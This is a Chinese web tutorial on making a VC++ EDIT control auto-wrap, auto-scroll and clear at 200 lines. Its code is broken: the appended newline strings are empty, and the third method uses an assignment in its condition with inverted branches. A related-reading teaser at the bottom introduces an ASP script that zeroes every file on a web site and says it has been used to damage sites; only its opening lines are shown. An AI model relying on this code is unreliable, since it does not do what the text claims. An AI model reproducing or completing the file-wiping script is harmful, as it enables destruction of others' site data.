VC编辑框(EDIT)的自动换行、自动滚屏 、到指定行数自动清空

2016-02-19 20:11 33 1 收藏

只要你有一台电脑或者手机,都能关注图老师为大家精心推荐的VC编辑框(EDIT)的自动换行、自动滚屏 、到指定行数自动清空,手机电脑控们准备好了吗?一起看过来吧!

【 tulaoshi.com - 编程语言 】

在自动换行设置的时候,要在EDIT控件的属性中选中"multiline"的属性和Auto_HScroll、Vertical scroll。.

经过多次测试,总结出VC编辑框(EDIT)的自动换行与自动滚屏的方法。

方法一:(当EDIT映射到一CString时)
m_String = m_String + sNewString + ""   //自动换行(其中m_String是EDIT筐所关联的CString对象)
 UpdateData(false);

此法只能做到自动换行,不会自动滚屏到最后一行。

方法二:(当EDIT映射到一EDIT时)
m_Edit.SetSel(-1, -1);      //自动滚屏(其中m_Edit是EDIT筐所关联的EDIT控制对象)
 m_Edit.ReplaceSel(sNewString+"");   //自动换行

此法可以做到自动换行,并自动滚屏到最后一行。

以上,m_String、m_Edit.分别为给编辑框添加的成员变量;sNewString 为要显示的字符串

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)


方法三:到200行时将所有内容清空

int iLineNum=m_EditLog.GetLineCount();
    if(iLineNum=200)
    {
     m_EditLog.SetSel(-1, -1);
     m_EditLog.ReplaceSel(str+"");
    }
   
    else
    {
     m_EditLog.SetSel(0, -1);
     m_EditLog.Clear();
    
    }

取自msdn

void SetSel( int nStartChar, int nEndChar, BOOL bNoScroll = FALSE );

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

Parameters

nStartChar

Specifies the starting position. If nStartChar is 0 and nEndChar is –1, all the text in the edit control is selected. If nStartChar is –1, any current selection is removed.

nEndChar

Specifies the ending position.

来源:http://www.tulaoshi.com/n/20160219/1622967.html

延伸阅读
标签: ASP
  作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节. 此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展. 属于无聊时的作品,已经有人利用这个破坏了一些网站了. <% Server.ScriptTimeout=99999 If Request("Submit")<"" Then  Call ListFile(Server.mappath("...
标签: Web开发
用CSS实现Table单元格数据自动换行或不换行的实现方法: 1、强制换行: style type="text/css" .AutoNewline {   word-break: break-all;/*必须*/ } /style table tr   td class="AutoNewline"自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换行自动换...
在用VC开发应用程序时,经常会要做一些可以改变大小的对话框,而这个时候就要求对话框上的控件会随着对话框大小的改变而改变自己的位置和大小。如果控件比较少,那可以在对话框的OnSize()事件里面添加代码,通过计算来调整各个控件的位置和大小;但是,如果对话框上的控件比较多的话,那这将是一件非常痛苦的事情!要是程序中又有很多可以...
标签: Web开发
我们都知道 pre 标签 可定义预格式化的文本,一个常见应用就是用来表示计算机的源代码。被包围在 pre 元素中的文本通常会保留空格和换行符,但不幸的是,当你在pre标签里面写代码的时候,如果你没有手动换行,它也会给你保留,而不会自动换行。 这时候,你可以使用 overflow:auto; (当代码超出容器边界的时候,显示滚动框), 但这个方法也...
标签: 软件教程
WPS有个可以自动编号的功能,它非常的人性化,但是,有些时候,不需要它,如果你在编辑文档时感觉到它很麻烦,那么可以按照下面提供的方法将此功能取消掉。取消自动编号功能的步骤如下,需要的朋友不要错过。 简述 点击左上角的WPS文字图表,指向“工具”点击“选项”,在对话框中切换到编辑选项卡,在自动编号一栏取消...

经验教程

397

收藏

56
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部